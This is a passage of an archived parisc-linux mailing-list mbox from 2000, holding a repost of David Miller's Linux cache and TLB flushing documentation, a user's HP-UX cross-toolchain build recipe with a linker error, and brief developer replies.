X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Wed Aug 30 16:07:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA02615
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 16:07:44 -0600
Original-Received: (qmail 15084 invoked by uid 15267); 30 Aug 2000 22:07:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15076 invoked from network); 30 Aug 2000 22:07:48 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 22:07:48 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13UG1K-000562-00
	for parisc-linux@thepuffingroup.com; Wed, 30 Aug 2000 23:07:46 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7853


As some of you may have heard, I'm leaving Linuxcare.  My last day of
employment is tomorrow.  I'm then taking a 1 month holiday and will be
completely unreachable.  I won't be dropping out of the project entirely,
but I probably will be taking a less active role.  Have fun, I've enjoyed
working with you all.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cache flushing across the universe
Date: Thu, 31 Aug 2000 10:52:20 -0400
Lines: 327
Approved: news@gmane.org
Message-ID: <20000831105220.D8306@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619098 3267 80.91.229.3 (22 Nov 2014 01:18:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Aug 31 09:57:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA20202
	for <parisc-linux@puffin.external.hp.com>; Thu, 31 Aug 2000 09:57:03 -0600
Original-Received: (qmail 8095 invoked by uid 15267); 31 Aug 2000 15:57:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8079 invoked from network); 31 Aug 2000 15:57:05 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 31 Aug 2000 15:57:05 -0000
Original-Received: (qmail 23656 invoked from network); 31 Aug 2000 15:57:03 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 31 Aug 2000 15:57:03 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id KAA15505
	for parisc-linux@thepuffingroup.com; Thu, 31 Aug 2000 10:52:20 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7854


this is a document davem wrote which is in 2.4.0-test8-pre1.  i'm posting
it here so you don't need to grab pre-patches and extract the doc from it.

		Cache and TLB Flushing
		     Under Linux

	    David S. Miller <davem@redhat.com>

This document describes the cache/tlb flushing interfaces called
by the Linux VM subsystem.  It enumerates over each interface,
describes it's intended purpose, and what side effect is expected
after the interface is invoked.

The side effects described below are stated for a uniprocessor
implementation, and what is to happen on that single processor.  The
SMP cases are a simple extension, in that you just extend the
definition such that the side effect for a particular interface occurs
on all processors in the system.  Don't let this scare you into
thinking SMP cache/tlb flushing must be so inefficient, this is in
fact an area where many optimizations are possible.  For example,
if it can be proven that a user address space has never executed
on a cpu (see vma->cpu_vm_mask), one need not perform a flush
for this address space on that cpu.

First, the TLB flushing interfaces, since they are the simplest.  The
"TLB" is abstracted under Linux as something the cpu uses to cache
virtual-->physical address translations obtained from the software
page tables.  Meaning that if the software page tables change, it is
possible for stale translations to exist in this "TLB" cache.
Therefore when software page table changes occur, the kernel will
invoke one of the following flush methods _after_ the page table
changes occur:

1) void flush_tlb_all(void)

	The most severe flush of all.  After this interface runs,
	any previous page table modification whatsoever will be
	visible to the cpu.

	This is usually invoked when the kernel page tables are
	changed, since such translations are "global" in nature.

2) void flush_tlb_mm(struct mm_struct *mm)

	This interface flushes an entire user address space from
	the TLB.  After running, this interface must make sure that
	any previous page table modifications for the address space
	'mm' will be visible to the cpu.  That is, after running,
	there will be no entries in the TLB for 'mm'.

	This interface is used to handle whole address space
	page table operations such as what happens during
	fork, exit, and exec.

3) void flush_tlb_range(struct mm_struct *mm,
			unsigned long start, unsigned long end)

	Here we are flushing a specific range of (user) virtual
	address translations from the TLB.  After running, this
	interface must make sure that any previous page table
	modifications for the address space 'mm' in the range 'start'
	to 'end' will be visible to the cpu.  That is, after running,
	there will be no entries in the TLB for 'mm' for virtual
	addresses in the range 'start' to 'end'.

	Primarily, this is used for munmap() type operations.

	The interface is provided in hopes that the port can find
	a suitably efficient method for removing multiple page
	sized translations from the TLB, instead of having the kernel
	call flush_tlb_page (see below) for each entry which may be
	modified.

4) void flush_tlb_page(struct vm_area_struct *vma, unsigned long page)

	This time we need to remove the PAGE_SIZE sized translation
	from the TLB.  The 'vma' is the backing structure used by
	Linux to keep track of mmap'd regions for a process, the
	address space is available via vma->vm_mm.  Also, one may
	test (vma->vm_flags & VM_EXEC) to see if this region is
	executable (and thus could be in the 'instruction TLB' in
	split-tlb type setups).

	After running, this interface must make sure that any previous
	page table modification for address space 'vma->vm_mm' for
	user virtual address 'page' will be visible to the cpu.  That
	is, after running, there will be no entries in the TLB for
	'vma->vm_mm' for virtual address 'page'.

	This is used primarily during fault processing.

5) void flush_tlb_pgtables(struct mm_struct *mm,
			   unsigned long start, unsigned long end)

   The software page tables for address space 'mm' for virtual
   addresses in the range 'start' to 'end' are being torn down.

   Some platforms cache the lowest level of the software page tables
   in a linear virtually mapped array, to make TLB miss processing
   more efficient.  On such platforms, since the TLB is caching the
   software page table structure, it needs to be flushed when parts
   of the software page table tree are unlinked/freed.

   Sparc64 is one example of a platform which does this.

   Usually, when munmap()'ing an area of user virtual address
   space, the kernel leaves the page table parts around and just
   marks the individual pte's as invalid.  However, if very large
   portions of the address space are unmapped, the kernel frees up
   those portions of the software page tables to prevent potential
   excessive kernel memory usage caused by erratic mmap/mmunmap
   sequences.  It is at these times that flush_tlb_pgtables will
   be invoked.

6) void update_mmu_cache(struct vm_area_struct *vma,
			 unsigned long address, pte_t pte)

	At the end of every page fault, this routine is invoked to
	tell the architecture specific code that a translation
	described by "pte" now exists at virtual address "address"
	for address space "vma->vm_mm", in the software page tables.

	A port may use this information in any way it so chooses.
	For example, it could use this event to pre-load TLB
	translations for software managed TLB configurations.
	The sparc64 port currently does this.

Next, we have the cache flushing interfaces.  In general, when Linux
is changing an existing virtual-->physical mapping to a new value,
the sequence will be in one of the following forms:

	1) flush_cache_mm(mm);
	   change_all_page_tables_of(mm);
	   flush_tlb_mm(mm);

	2) flush_cache_range(mm, start, end);
	   change_range_of_page_tables(mm, start, end);
	   flush_tlb_range(mm, start, end);

	3) flush_cache_page(vma, page);
	   set_pte(pte_pointer, new_pte_val);
	   flush_tlb_page(vma, page);

The cache level flush will always be first, because this allows
us to properly handle systems whose caches are strict and require
a virtual-->physical translation to exist for a virtual address
when that virtual address is flushed from the cache.  The HyperSparc
cpu is one such cpu with this attribute.

The cache flushing routines below need only deal with cache flushing
to the extent that it is necessary for a particular cpu.  Mostly,
these routines must be implemented for cpus which have virtually
indexed caches which must be flushed when virtual-->physical
translations are changed or removed.  So, for example, the physically
indexed physically tagged caches of IA32 processors have no need to
implement these interfaces since the caches are fully synchronized
and have no dependency on translation information.

Here are the routines, one by one:

1) void flush_cache_all(void)

	The most severe flush of all.  After this interface runs,
	the entire cpu cache is flushed.

	This is usually invoked when the kernel page tables are
	changed, since such translations are "global" in nature.

2) void flush_cache_mm(struct mm_struct *mm)

	This interface flushes an entire user address space from
	the caches.  That is, after running, there will be no cache
	lines assosciated with 'mm'.

	This interface is used to handle whole address space
	page table operations such as what happens during
	fork, exit, and exec.

3) void flush_cache_range(struct mm_struct *mm,
			  unsigned long start, unsigned long end)

	Here we are flushing a specific range of (user) virtual
	addresses from the cache.  After running, there will be no
	entries in the cache for 'mm' for virtual addresses in the
	range 'start' to 'end'.

	Primarily, this is used for munmap() type operations.

	The interface is provided in hopes that the port can find
	a suitably efficient method for removing multiple page
	sized regions from the cache, instead of having the kernel
	call flush_cache_page (see below) for each entry which may be
	modified.

4) void flush_cache_page(struct vm_area_struct *vma, unsigned long page)

	This time we need to remove a PAGE_SIZE sized range
	from the cache.  The 'vma' is the backing structure used by
	Linux to keep track of mmap'd regions for a process, the
	address space is available via vma->vm_mm.  Also, one may
	test (vma->vm_flags & VM_EXEC) to see if this region is
	executable (and thus could be in the 'instruction cache' in
	"Harvard" type cache layouts).

	After running, there will be no entries in the cache for
	'vma->vm_mm' for virtual address 'page'.

	This is used primarily during fault processing.

There exists another whole class of cpu cache issues which currently
require a whole different set of interfaces to handle properly.
The biggest problem is that of virtual aliasing in the data cache
of a processor.

Is your port subsceptible to virtual aliasing in it's D-cache?
Well, if your D-cache is virtually indexed, is larger in size than
PAGE_SIZE, and does not prevent multiple cache lines for the same
physical address from existing at once, you have this problem.

If your D-cache has this problem, first define asm/shmparam.h SHMLBA
properly, it should essentially be the size of your virtually
addressed D-cache (or if the size is variable, the largest possible
size).  This setting will force the SYSv IPC layer to only allow user
processes to mmap shared memory at address which are a multiple of
this value.

Next, you have two methods to solve the D-cache aliasing issue for all
other cases.  Please keep in mind that fact that, for a given page
mapped into some user address space, there is always at least one more
mapping, that of the kernel in it's linear mapping starting at
PAGE_OFFSET.  So immediately, once the first user maps a given
physical page into it's address space, by implication the D-cache
aliasing problem has the potential to exist since the kernel already
maps this page at it's virtual address.

First, I describe the old method to deal with this problem.  I am
describing it for documentation purposes, but it is deprecated and the
latter method I describe next should be used by all new ports and all
existing ports should move over to the new mechanism as well.

  flush_page_to_ram(struct page *page)

	The physical page 'page' is about to be place into the
	user address space of a process.  If it is possible for
	stores done recently by the kernel into this physical
	page, to not be visible to an arbitray mapping in userspace,
	you must flush this page from the D-cache.

	If the D-cache is writeback in nature, the dirty data (if
	any) for this physical page must be written back to main
	memory before the cache lines are invalidated.

Admittedly, the author did not think very much when designing this
interface.  It does not give the architecture enough information about
what exactly is going on, and there is not context with which to base
any judgment about whether an alias is possible at all.  The new
interfaces to deal with D-cache aliasing are meant to address this by
telling the architecture specific code exactly which is going on at
the proper points in time.

Here is the new interface:

  void copy_user_page(void *from, void *to, unsigned long address)
  void clear_user_page(void *to, unsigned long address)

	These two routines store data in user anonymous or COW
	pages.  It allows a port to efficiently avoid D-cache alias
	issues between userspace and the kernel.

	For example, a port may temporarily map 'from' and 'to' to
	kernel virtual addresses during the copy.  The virtual address
	for these two pages is choosen in such a way that the kernel
	load/store instructions happen to virtual addresses which are
	of the same "color" as the user mapping of the page.  Sparc64
	for example, uses this technique.

	The "address" parameter tells the virtual address where the
	user has this page mapped.

	If D-cache aliasing is not an issue, these two routines may
	simply call memcpy/memset directly and do nothing more.

  void flush_dcache_page(struct page *page)

	Any time the kernel writes to a page cache page, _OR_
	the kernel is about to read from a page cache page and
	user space shared/writable mappings of this page potentially
	exist, this routine is called.

	The phrase "kernel writes to a page cache page" means,
	specifically, that the kernel executes store instructions
	that dirty data in that page at the page->virtual mapping
	of that page.  It is important to flush here to handle
	D-cache aliasing, to make sure these kernel stores are
	visible to user space mappings of that page.

	The corollary case is just as important, if there are users
	which have shared+writable mappings of this file, we must make
	sure that kernel reads of these pages will see the most recent
	stores done by the user.

	If D-cache aliasing is not an issue, this routine may
	simply be defined as a nop on that architecture.

        TODO: If we set aside a few bits in page->flags as
	      "architecture private", these interfaces could
	      be implemented much more efficiently.  This would
	      allow one to "defer" (perhaps indefinitely) the
	      actual flush if there are currently no user processes
	      mapping this page.

	      The idea is, first at flush_dcache_page() time, if
	      page->mapping->i_mmap is an empty list, just mark
	      one of the architecture private page flag bits.
              Later, in update_mmu_cache(), a check could be made
	      of this flag bit, and if set the flush is done
	      and the flag bit is cleared.

XXX Not documented: flush_icache_page(), need to talk to Paul
                    Mackerras, David Mosberger-Tang, et al.
		    to see what the expected semantics of this
		    interface are.  -DaveM

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW: hpux 11.00 near success
Date: Thu, 31 Aug 2000 18:59:20 +0200
Lines: 207
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD86B9@epixch003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619098 3269 80.91.229.3 (22 Nov 2014 01:18:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:18 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: JSO@europay.com  Thu Aug 31 10:59:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA21013
	for <parisc-linux@puffin.external.hp.com>; Thu, 31 Aug 2000 10:59:47 -0600
Original-Received: (qmail 23570 invoked by uid 15267); 31 Aug 2000 16:59:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21303 invoked from network); 31 Aug 2000 16:58:32 -0000
Original-Received: from mail.europay.com (HELO epirel991.europay.com) (193.75.200.45)
  by mailserv2.iuinc.com with SMTP; 31 Aug 2000 16:58:32 -0000
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d464e5eb34c81@epirel991.europay.com> for <parisc-linux@thepuffingroup.com>;
 Thu, 31 Aug 2000 18:57:37 +0200
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <RSK9MQ6Q>; Thu, 31 Aug 2000 18:54:21 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id KAA21013
Xref: news.gmane.org gmane.linux.ports.parisc:7855



-----Original Message-----
From: SOETE Jol 
Sent: Thursday, August 31, 2000 6:57 PM
To: 'Grant Grundler'
Cc: parisc-linux@thepuffingroup.hp.com
Subject: hpux 11.00 near success


Dear Grant,

I have to modify as bellow the 'recipe' procedure to finally reach to build
successfully the tool chain
but I still met the following error at the very end of palo make:

....
cd palo && make
make[2]: Entering directory `/Tools/palo/palo'
hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include   -c -o
elf64.o ../lib/elf64.c
hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include   -c -o
load.o ../lib/load.c
hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include   -c -o
paloio.o paloio.c
hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include   -c -o
som.o ../lib/som.c
hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include   -c -o
elf32.o ../lib/elf32.c
In file included from /opt/puffin/hppa1.1-linux/include/stdio.h:40,
                 from ../lib/elf32.c:12:
/opt/puffin/hppa1.1-linux/include/bits/types.h:97:25: warning: "__NFDBITS"
redefined
../../linux-2.3/include/linux/posix_types.h:22:1: warning: this is the
location of the previous definition
/opt/puffin/hppa1.1-linux/include/bits/types.h:99:17: warning: "__FDMASK"
redefined
../../linux-2.3/include/linux/posix_types.h:34:1: warning: this is the
location of the previous definition
/opt/puffin/hppa1.1-linux/include/stdio.h:470: warning: redefinition of
`off_t'
../../linux-2.3/include/linux/types.h:18: warning: `off_t' previously
declared here
hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include   -c -o
error.o error.c
hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include   -c -o
palo.o palo.c
echo "char *bld_info = \"`whoami`@`hostname` `date`\";" > build.c
hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include -c -o
build.o build.c
rm -f build.c
hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include  -o
palo diskpart.o    elf64.o	    load.o	  paloio.o      som.o
elf32.o	      error.o	    palo.o build.o
/opt/puffin/lib/gcc-lib/hppa1.1-linux/2.96/../../../../hppa1.1-linux/bin/ld:
cannot open crt1.o: No such file or directory
collect2: ld returned 1 exit status
make[2]: *** [palo] Error 1
make[2]: Leaving directory `/Tools/palo/palo'
make[1]: *** [makepalo] Error 2
make[1]: Leaving directory `/Tools/palo'
make: *** [palo] Error 2

What are my mistakes (RAMDISK, ramdisk-sti, ... see below the procedure
followed)?

Thanks for help.
	Joel


PS: Does exist some archive of linuxcare mailing list about LINUX-PARISC?


Modified 'recipe' procedure hopping to be helpful

>From the Software Porting And Archive Centre for HP-UX in the United Kingdom
http://hpux.connect.org.uk/

I install following packages:
autoconf
bash
binutils
bison
bzip2
flex
gcc
m4
make
tar
unzip

adding relevant path PATH env

...

    3.Configure and build Binutils: 

       gzcat binutils-latest.tar.gz | tar -xf -
       mkdir binutils-build
*** confirm to make that c files are up to date
       find binutils -name "*.[ch]" -exec touch {} \;
***
       cd binutils-build
       ../binutils/configure \
           --target=hppa1.1-linux \
           --prefix=$DEST \
           --host=hppa-hpux\
           --disable-nls
       gmake
       gmake install
       cd ..


    4.Unpack the header files 

       gzcat include.tar.gz | tar -C $DEST -xf -

*** I do not remember why but it is useful
       cd $DEST/hppa1.1-linux
       ln -s ../include include


    5.Configure and build GCC: 

       gzcat gcc-latest.tar.gz | tar -xf -
       PATH=$DEST/bin:$PATH
*** Why as you just download the last cvs ?
#       cd gcc
#       ./contrib/gcc_update
#       cd ..

*** If previous step is not possible
       gzcat linux-latest.tar.gz | tar -xf -
       cd linux-2.3/includes
       ln -s asm-parisc asm
       cp -rp asm/* $DEST/include/asm
       cp -rp linux $DEST/include
       
       mkdir gcc-build
       cd gcc-build
       ../gcc/configure \
           --target=hppa1.1-linux \
           --prefix=$DEST \

*** I do have to change host option because 'hppa-hpux' is not "supported"
           --host=hppa1.1-hpux \
           --disable-nls \
           --enable-languages=c \
           --without-libc
       gmake LANGUAGES=c LIBGCC2_INCLUDES=-I$DEST/include
       gmake install
       cd ..

*** I had also adding symbolic links by following way:
       cd $DEST/bin
       LIST=`ls -dC1 hppa1.1*`
       for file in $LIST; do ln -s $file hppa-linux-${file##*-}; done
       cd -


    6.Unpack and configure the kernel: 

*** Not necessary: see previous step
#       gzcat linux-latest.tar.gz | tar -xf -
       cd linux-2.3
       gmake oldconfig
       gmake dep
       cd ..

    7.Build the kernel 

       gzcat palo-latest.tar.gz | tar -xf -


*** That do have to do the small following change in the palo/palo/Makefile
       CC=hppa-linux-gcc
       CFLAGS=-g -O -I../include -I../lib -I../../linux-2.3/include

*** Change palo/Makefile to RAMDISK instead of NFSROOT

*** And only for palo change call to hp make to gmake
       mv /usr/bin/make /usr/bin/make.hpux
       ln -s /opt/make/bin/gmake /opt/make/bin/make

       mv ramdisk20000530-sercon.tgz linux-2.3/
       cd linux-2.3

*** I do have to use the graphical consol
#       gzcat -c ramdisk20000530-sercon.tgz | tar xf -
       gzcat -c ramdisk20000530-sticon.tgz | tar xf -
       gmake palo
       cd ..

*** Not yet 

       The resulting kernel image is palo/lifimage. 

       NFS ROOT e-mail thread has additional info.




**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************


From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: hpux 11.00 near success
Date: Thu, 31 Aug 2000 18:14:09 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20000831181409.H32582@parcelfarce.linux.theplanet.co.uk>
References: <A4A5E4C468B5D11190220001FA6835DD04DD86B9@epixch003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619098 3272 80.91.229.3 (22 Nov 2014 01:18:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:18 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Original-X-From: willy@www.linux.org.uk  Thu Aug 31 11:14:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA21394
	for <parisc-linux@puffin.external.hp.com>; Thu, 31 Aug 2000 11:14:21 -0600
Original-Received: (qmail 9926 invoked by uid 15267); 31 Aug 2000 17:14:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9913 invoked from network); 31 Aug 2000 17:14:18 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 31 Aug 2000 17:14:18 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13UXuk-0000sJ-00; Thu, 31 Aug 2000 18:14:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <A4A5E4C468B5D11190220001FA6835DD04DD86B9@epixch003>; from JSO@europay.com on Thu, Aug 31, 2000 at 06:59:20PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7856

On Thu, Aug 31, 2000 at 06:59:20PM +0200, SOETE Jol wrote:
> PS: Does exist some archive of linuxcare mailing list about LINUX-PARISC?

Yup, linked from the mailing list pages.

http://www.thepuffingroup.com/parisc/lists.html

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: hpux 11.00 near success
Date: Thu, 31 Aug 2000 13:19:11 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200008311719.NAA26316@hiauly1.hia.nrc.ca>
References: <A4A5E4C468B5D11190220001FA6835DD04DD86B9@epixch003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619099 3276 80.91.229.3 (22 Nov 2014 01:18:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: JSO@europay.com (=?iso-8859-1?Q?SOETE_Jo=EBl?=)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Aug 31 11:19:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA21716
	for <parisc-linux@puffin.external.hp.com>; Thu, 31 Aug 2000 11:19:15 -0600
Original-Received: (qmail 16114 invoked by uid 15267); 31 Aug 2000 17:19:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16102 invoked from network); 31 Aug 2000 17:19:21 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 31 Aug 2000 17:19:21 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA26316;
	Thu, 31 Aug 2000 13:19:11 -0400 (EDT)
In-Reply-To: <A4A5E4C468B5D11190220001FA6835DD04DD86B9@epixch003> from "=?iso-8859-1?Q?SOETE_Jo=EBl?=" at Aug 31, 2000 06:59:20 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7857

> hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include  -o
> palo diskpart.o    elf64.o	    load.o	  paloio.o      som.o
> elf32.o	      error.o	    palo.o build.o
> /opt/puffin/lib/gcc-lib/hppa1.1-linux/2.96/../../../../hppa1.1-linux/bin/ld:
> cannot open crt1.o: No such file or directory

I wonder why this isn't crt0.o?  The startup file is set by the specs file
in /opt/puffin/lib/gcc-lib/hppa1.1-linux/2.96.  It is also internal to
gcc.  The SPECS configuration files for the pa port are in config/pa.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ed June <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] bubsy on the list ?
Date: Sat, 27 Mar 1999 22:25:30 -0500
Organization: buggz.net
Lines: 13
Approved: news@gmane.org
Message-ID: <36FDA12A.81AA2081@america.net>
References: <36FBD2E7.D7399CA2@netscape.com> <36FCD04A.F6DEAA0F@america.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619099 3281 80.91.229.3 (22 Nov 2014 01:18:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:19 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: buggz@america.net  Sat Mar 27 22:22:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id WAA31170
	for <hppa-linux@sod.res.cmu.edu>; Sat, 27 Mar 1999 22:22:27 -0500
Original-Received: (qmail 25277 invoked by uid 15267); 28 Mar 1999 03:21:04 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 25270 invoked from network); 28 Mar 1999 03:21:03 -0000
Original-Received: from smtp.america.net (199.170.121.14)
  by mailserv2.iuinc.com with SMTP; 28 Mar 1999 03:21:03 -0000
Original-Received: from america.net (buggz@tnt1-119.america.net [206.67.248.119])
	by smtp.america.net (8.9.1/8.9.1) with ESMTP id WAA13781
	for <hppa-linux@thepuffingroup.com>; Sat, 27 Mar 1999 22:22:08 -0500 (EST)
Original-Sender: buggz@smtp.america.net
X-Mailer: Mozilla 4.08 [en] (X11; U; Linux 2.2.3-ac4 i686)
Xref: news.gmane.org gmane.linux.ports.parisc:7858

Is there a site w/ hp gnu utility binaries ?

Like the freesoftware site for solaris ?

--

 Ed June

 buggz@america.net
 Linux: An open choice for free people worldwide.




From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: hpux 11.00 near success
Date: Thu, 31 Aug 2000 11:28:57 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <E13UY93-0005Q3-00@noam.fc.hp.com>
References: <200008311719.NAA26316@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619099 3285 80.91.229.3 (22 Nov 2014 01:18:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:19 +0000 (UTC)
Cc: JSO@europay.com (=?iso-8859-1?Q?SOETE_Jo=EBl?=),
        parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: bame@noam.fc.hp.com  Thu Aug 31 11:28:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA21956
	for <parisc-linux@puffin.external.hp.com>; Thu, 31 Aug 2000 11:28:49 -0600
Original-Received: (qmail 28256 invoked by uid 15267); 31 Aug 2000 17:28:55 -0000
